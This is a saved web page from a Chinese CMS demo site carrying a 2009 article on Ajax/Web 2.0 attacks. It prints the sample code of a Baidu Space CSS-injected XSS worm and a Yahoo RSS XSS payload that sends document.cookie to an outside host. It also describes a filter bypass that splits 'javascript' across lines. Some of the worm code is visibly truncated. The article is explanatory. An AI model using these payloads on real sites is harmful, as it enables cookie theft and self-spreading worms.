📄 101_2.html
字号:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<base href="http://localhost:8080/" />
<title>Web2.0网站攻击新潮—Ajax Hacking</title>
<script language="javascript">
var sPath = document.location.protocol + "//" + document.location.host + document.location.pathname;
if(sPath.indexOf("/article/")>=0)
{
var sPath_tmp = sPath.split("/article/");
var BasePath = sPath_tmp[0]+"/";
document.write('<base href="'+BasePath+'" />');
}
</script>
<script language="javascript" src="images/js.js"></script>
<link href="css/css2.css" rel="stylesheet" type="text/css" />
</head>
<body>
<table width="950" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td height="3" bgcolor="#106B61"></td>
</tr>
<tr>
<td><table width="950" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="200" height="87" align="center" background="images/index5_02.gif"><img src="images/logo.gif" width="142" height="62" /></td>
<td valign="bottom"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height="40"><table width="99%" border="0" align="left" cellpadding="0" cellspacing="0">
<tr>
<td width="10%" align="left" class="red12"><strong>滚动新闻：</strong></td>
<td width="90%" align="left">
<div id="pro_demo" style="overflow:hidden;height:40px;width:660px;">
<table border="0" cellspacing="0" cellpadding="0">
<tr>
<td id="pro_demo1" height="40"><table border="0" cellspacing="0" cellpadding="0" width="100%">
<tr>
<td class="gray" nowrap="nowrap"> ·<a href="article/99.html" title="2.0版本发布">2.0版本发布</a></td>
<td class="gray" nowrap="nowrap"> ·<a href="article/89.html" title="2009-4-28更新日志">2009-4-28更新日志</a></td>
<td class="gray" nowrap="nowrap"> ·<a href="article/88.html" title="新闻系统全站静态化测试中">新闻系统全站静态化测试中</a></td>
<td class="gray" nowrap="nowrap"> ·<a href="article/83.html" title="Ok3w ASP新闻发布系统功能简介">Ok3w ASP新闻发布系统功能简介</a></td>
<td class="gray" nowrap="nowrap"> ·<a href="article/82.html" title="Ok3w ASP新闻发布系统功能简介">Ok3w ASP新闻发布系统功能简介</a></td>
<td class="gray" nowrap="nowrap"> ·<a href="article/81.html" title="Ok3w ASP新闻发布系统功能简介">Ok3w ASP新闻发布系统功能简介</a></td>
<td class="gray" nowrap="nowrap"> ·<a href="article/46.html" title="Ok3w ASP新闻发布系统功能简介">Ok3w ASP新闻发布系统功能简介</a></td>
</tr>
</table></td>
<td id="pro_demo2"></td>
</tr>
</table>
<script language="javascript" src="images/marquee.js"></script>
</div> </td>
</tr>
</table></td>
</tr>
<tr>
<td bgcolor="#106B61"><table border="0" cellpadding="0" cellspacing="0">
<tr>
<td align="left"><img src="images/index5_08.gif" width="5" height="41" /></td>
<td align="center"> <a href="" class="white14b">网站首页</a> </td>
<td align="center"><img src="images/index5_11.gif" width="2" height="25" /></td>
<td align="center"> <a href="article/list_95_1.html" class="white14b">新闻资讯</a> </td>
<td align="center"><img src="images/index5_11.gif" width="2" height="25" /></td>
<td align="center"> <a href="article/list_102_1.html" class="white14b">网络安全</a> </td>
<td align="center"><img src="images/index5_11.gif" width="2" height="25" /></td>
<td align="center"> <a href="article/list_107_1.html" class="white14b">网页制作</a> </td>
<td align="center"><img src="images/index5_11.gif" width="2" height="25" /></td>
<td align="center"> <a href="article/list_85_1.html" class="white14b">办公软件</a> </td>
<td align="center"><img src="images/index5_11.gif" width="2" height="25" /></td>
<td align="center"> <a href="article/list_84_1.html" class="white14b">网站运营</a> </td>
<td align="center"><img src="images/index5_11.gif" width="2" height="25" /></td>
<td align="center"> <a href="article/list_83_1.html" class="white14b">平面设计</a> </td>
<td align="center"><img src="images/index5_11.gif" width="2" height="25" /></td>
<td align="center"> <a href="article/list_60_1.html" class="white14b">网络编程</a> </td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
</table></td>
</tr>
<tr>
<td height="37" align="center" background="images/index5_15.gif"><table width="98%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td align="left" class="green12gray">今天是<script language="javascript">
var mydate=new Date();
var mymonth=mydate.getMonth()+1;
var myday= mydate.getDate();
var myyear= mydate.getYear();
document.write(myyear+"-"+mymonth+"-"+myday);</script>，欢迎访问Ok3w新闻发布系统！</td>
<td align="right" class="green12gray"><a href="guest.asp">请您留言</a> | <a href="http://www.glzy8.com/ok3w/article/147.html" target="_blank">免费下载</a> | <a href="#" class="green12gray" onclick="this.style.behavior='url(#default#homepage)';this.setHomePage(document.URL);">设为首页</a> | <a href="#" class="green12gray" onclick="window.external.AddFavorite(document.URL,document.title);">加入收藏</a></td>
</tr>
</table></td>
</tr>
<tr>
<td><table width="100%" border="0" cellspacing="0" cellpadding="0" style="margin-top:2px;">
<tr>
<td align="left"><iframe id="baiduSpFrame" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0" framespacing="0" frameborder="0" scrolling="no" width="468" height="60" src="http://spcode.baidu.com/spcode/spstyle/style2220.jsp?tn=zhengbi_sp&ctn=0&styleid=2220"></iframe></td>
<td align="right"><iframe id="baiduSpFrame" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0" framespacing="0" frameborder="0" scrolling="no" width="468" height="60" src="http://spcode.baidu.com/spcode/spstyle/style1634.jsp?tn=zhengbi_sp&ctn=0&styleid=1634"></iframe></td>
</tr>
<tr>
<td colspan="2" align="left" height="5"></td>
</tr>
<tr>
<td align="left"><iframe id="baiduSpFrame" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0" framespacing="0" frameborder="0" scrolling="no" width="468" height="60" src="http://spcode.baidu.com/spcode/spstyle/style2615.jsp?tn=zhengbi_sp&ctn=0&styleid=2615"></iframe></td>
<td align="right"><iframe id="baiduSpFrame" border="0" vspace="0" hspace="0" marginwidth="0" marginheight="0" framespacing="0" frameborder="0" scrolling="no" width="468" height="60" src="http://spcode.baidu.com/spcode/spstyle/style2475.jsp?tn=zhengbi_sp&ctn=0&styleid=2475"></iframe></td>
</tr>
</table></td>
</tr>
<tr>
<td height="14" background="images/index5_31.gif"></td>
</tr>
</table>
<table width="950" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td height="40">您当前位置：<a href="">网站首页</a> >> <a href="article/list_107_1.html">网页制作</a> >> <a href="article/list_132_1.html">Javascript/Ajax</a> >> 阅读文章</td>
<form id="form1" name="form1" method="get" action="search.asp">
<td width="344"><span style="font-weight: bold">站内查找：</span>
<input name="keyword" type="text" id="keyword" size="29" />
<input type="submit" name="Submit" value="搜索" />
</td>
</form>
</tr>
</table>
<table width="950" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="left" valign="top"><table width="100%" border="0" cellpadding="8" cellspacing="0" style="border:1px solid #AEE1DC;">
<tr>
<td><table width="100%" border="0" cellspacing="0" cellpadding="0" style="table-layout: fixed;">
<tr>
<td align="center"><h1>Web2.0网站攻击新潮—Ajax Hacking</h1>
<hr size="1" color="#EBEBEB" />
来源：互联网 发布时间：2009-05-01 00:20:36 查看次数：<span id="News_Hits"></span><iframe style="display:none;" src="hits.asp?type=news&id=101"></iframe>
<hr size="1" color="#EBEBEB" />
</td>
</tr>
<tr>
<td style="word-break: break-all; word-wrap:break-word;"><div class="gray14">由此Ajax攻击可见一斑，然而这还仅仅是个开始。7月份百度开通了百度空间，虽然没有指明是应用web2.0技术，但从web2.0象征的测试版(beta)和页面模版架构等等，你可以看出它事实上已经应用了Ajax技术。而在空间开通不到半个月，相应的攻击方式又产生了，这个攻击应该又算是一个蠕虫吧。它利用百度提交的自定义css(Cascading Stylesheet，层叠样式表单)中对插入的javascript过滤不严格，而使攻击者可以写入恶意代码进行了xss(Cross Site Scripting)跨站。从而使浏览该空间的百度通行证用户在不知觉的情况下将该站点加入自己的友情连接中。最原始代码标本如下：</P><PRE><OL class=dp-xml><LI class=alt><SPAN><SPAN>#header{height:89px;background:url("</SPAN><SPAN class=attribute>javascript:document.body.onload</SPAN><SPAN> = </SPAN><SPAN class=attribute-value>function</SPAN><SPAN>(){ //- - 在css的样式标签中插入javascript代码 </SPAN></SPAN><LI><SPAN>var </SPAN><SPAN class=attribute>req</SPAN><SPAN> = </SPAN><SPAN class=attribute-value>null</SPAN><SPAN>; </SPAN><LI class=alt><SPAN>if(window.XMLHttpRequest) </SPAN><SPAN class=attribute>req</SPAN><SPAN> = </SPAN><SPAN class=attribute-value>new</SPAN><SPAN> XMLHttpRequest(); //- - 这句懂ajax的都知道，是它的核心XMLHttpRequest，而下面当然是必不可少的判断是否IE的语句了。 </SPAN><LI><SPAN>else if(window.ActiveXObject){ </SPAN><LI class=alt><SPAN>var </SPAN><SPAN class=attribute>msxml</SPAN><SPAN> = </SPAN><SPAN class=attribute-value>new</SPAN><SPAN> Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'); </SPAN><LI><SPAN>for(var </SPAN><SPAN class=attribute>i</SPAN><SPAN>=</SPAN><SPAN class=attribute-value>0</SPAN><SPAN>;i </SPAN><LI class=alt><SPAN>try{req.overrideMimeType('text/xml')}catch(e){} </SPAN><LI><SPAN>} </SPAN><LI class=alt><SPAN>req.open('get','.',false); </SPAN><LI><SPAN>req.send(); </SPAN><LI class=alt><SPAN>var </SPAN><SPAN class=attribute>s</SPAN><SPAN>=</SPAN><SPAN class=attribute-value>req</SPAN><SPAN>.responseText; </SPAN><LI><SPAN class=attribute>p</SPAN><SPAN>=</SPAN><SPAN class=attribute-value>s</SPAN><SPAN>.indexOf('passport.baidu.com/?logout'); </SPAN><LI class=alt><SPAN>if(p</SPAN><SPAN class=tag>></SPAN><SPAN>0) </SPAN><LI><SPAN>{ </SPAN><LI class=alt><SPAN class=attribute>p</SPAN><SPAN>=</SPAN><SPAN class=attribute-value>s</SPAN><SPAN>.indexOf(''); </SPAN><LI><SPAN>if(p</SPAN><SPAN class=tag>></SPAN><SPAN>0) </SPAN><LI class=alt><SPAN>{ </SPAN><LI><SPAN class=attribute>p</SPAN><SPAN>=</SPAN><SPAN class=attribute-value>s</SPAN><SPAN>.indexof('/',p); </SPAN><LI class=alt><SPAN class=attribute>p2</SPAN><SPAN>=</SPAN><SPAN class=attribute-value>s</SPAN><SPAN>.indexOf(String.fromCharCode(34),p); </SPAN><LI><SPAN>var </SPAN><SPAN class=attribute>user</SPAN><SPAN>=s.substring(p+1,p2); </SPAN><LI class=alt><SPAN>var </SPAN><SPAN class=attribute>name</SPAN><SPAN>=</SPAN><SPAN class=attribute-value>'Here is a bad site'</SPAN><SPAN>; </SPAN><LI><SPAN>var </SPAN><SPAN class=attribute>link</SPAN><SPAN>=</SPAN><SPAN class=attribute-value>'目标网址'</SPAN><SPAN>; </SPAN><LI class=alt><SPAN>var </SPAN><SPAN class=attribute>desc</SPAN><SPAN>=</SPAN><SPAN class=attribute-value>'This link was added by an XSS script'</SPAN><SPAN>; </SPAN><LI><SPAN>var </SPAN><SPAN class=attribute>url</SPAN><SPAN>=</SPAN><SPAN class=attribute-value>'/'</SPAN><SPAN>+user+'/commit'; </SPAN><LI class=alt><SPAN>var </SPAN><SPAN class=attribute>data</SPAN><SPAN>=</SPAN><SPAN class=attribute-value>'ct=6&cm=1&spRef='</SPAN><SPAN>+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddylink%2F0&</SPAN><SPAN class=attribute>spBuddyName</SPAN><SPAN>=</SPAN><SPAN class=attribute-value>'+escape(name)+'</SPAN><SPAN>&</SPAN><SPAN class=attribute>spBuddyURL</SPAN><SPAN>=</SPAN><SPAN class=attribute-value>'+escape(link)+'</SPAN><SPAN>&</SPAN><SPAN class=attribute>spBuddyIntro</SPAN><SPAN>='+escape(desc); //- - 这句是整个蠕虫的执行语句，也是Ajax的数据异步调用语句。 </SPAN><LI><SPAN>req.open('post',url,false); </SPAN><LI class=alt><SPAN>req.send(data); </SPAN><LI><SPAN>alert('A friend link has been added to your space at http://hi.baidu.com/' +user); </SPAN><LI class=alt><SPAN>} </SPAN><LI><SPAN>} </SPAN><LI class=alt><SPAN>else{alert('You are not a logged Baidu user.');} //- - 由于是标本语句，所以这里有对是否登陆的判断，但实际攻击中当然不会有。 </SPAN><LI><SPAN>}"); </SPAN><LI class=alt><SPAN>} </SPAN></LI></OL></PRE>
<P>当时百度在第一时间内对此蠕虫作出了反映——过滤提交表单中的javascript，当然这也使正常用户无法再在blog中贴入Flash动画。但后来的变种使得境况变得更糟糕，因为有人发现百度仅仅是过滤了CSS文本中的譬如"javascript"和"expression"这样的字符串。也就是说如果把”javascript”分成两行来写，就可以绕过百度的过滤但同时又被IE执行。而这时变种的蠕虫也随之产生，其造成的结果是在用户的css中加入如下代码：</P>
<P>#header { ……</P>
<P>很简单的一句吧，这几乎把该蠕虫提升到了病毒性质，因为用户本身无法到达css修改页面来修复他的css代码。事实上直到写这篇文章时，百度空间尚没有对一些另类的插入恶意代码方式进行有效地过滤和封锁。</P>
<P>如果认为他们所造成的影响都是局域的，那么我不得不带领大家来看一些影响比较广泛的最具有web2.0性质的——Rss(Really Simple Syndication)攻击。这是我从zdnet.com的Joris Evers的一篇名为“Blog feeds may carry security risk ”了解到的，大体意思是说由于目前几乎所有的不管是在线的还是离线的Rss阅读器都没有有效地对搀杂在Rss中的脚本进行过滤，导致攻击者可以向Rss中写入恶意的javascript代码，最终导致xss跨站，获取用户信息或其他。包括著名的Bloglines, RSS Reader, RSS Owl, Feed Demon, Sharp Reader都在攻击范围之内。这是去年yahoo rss xss代码：</P><PRE><OL class=dp-xml><LI class=alt><SPAN><SPAN>javascript: </SPAN><SPAN class=attribute>document.location</SPAN><SPAN>=</SPAN><SPAN class=attribute-value>'http://www.target.com/cookie.cgi?'</SPAN><SPAN> +document cookie; </SPAN></SPAN><LI><SPAN>Should Steal Your Cookie. </SPAN><LI class=alt><SPAN>Tue, 20 Sep 2005 23:55:18 EDT </SPAN><LI><SPAN>javascript: alert(document.cookie); </SPAN><LI class=alt><SPAN>Should Steal Your Cookie. </SPAN><LI><SPAN>Tue, 20 Sep 2005 23:55:18 EDT </SPAN></LI></OL></PRE>
<P>事实上，最早的web2.0攻击出现在去年的myspace.上，有人在MySpace交友网站上写了一段JavaScript蠕虫代码，利用Ajax方法让无数的用户在不知情的情况下把他加入了好友名单，同时在他们的个人简介最后自动加上了“samy is my hero”的字样。此蠕虫被称为世界上第一个“web2.0蠕虫”。而从上文的对email、css、rss攻击进行的描述中你也可以看出目前对 web2.0的攻击利用亦是多方面的。但并不单单指跨站，网上有一篇《Hacking Ajax》的文章，其中有一句话被加了黑体，“By corrupting one of the dozens of data exchanges Ajax handles while loading a Web page, a hacker can take over control of the PC”，也就是说适当情况下，利用Ajax攻击并获得个人电脑管理权限亦是可能的。</P>
<P>由于目前系统对补丁的发布采取的都是时时更新功能，想通过溢出获得shell已经很难了，除非是0day的系统漏洞;而sql注入在网络也肆虐了几年，亦有了行之有效的防范方法;并且由于Python和Ruby语言的兴起，新的web2.0服务正在产生并有取代现有web结构趋势，譬如Plone。但不可改变的是web浏览器对xhtml和javascript的解释，只要我们始终有改变javascript的可能性，我们就永远有提升自己权限的可能……</P>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -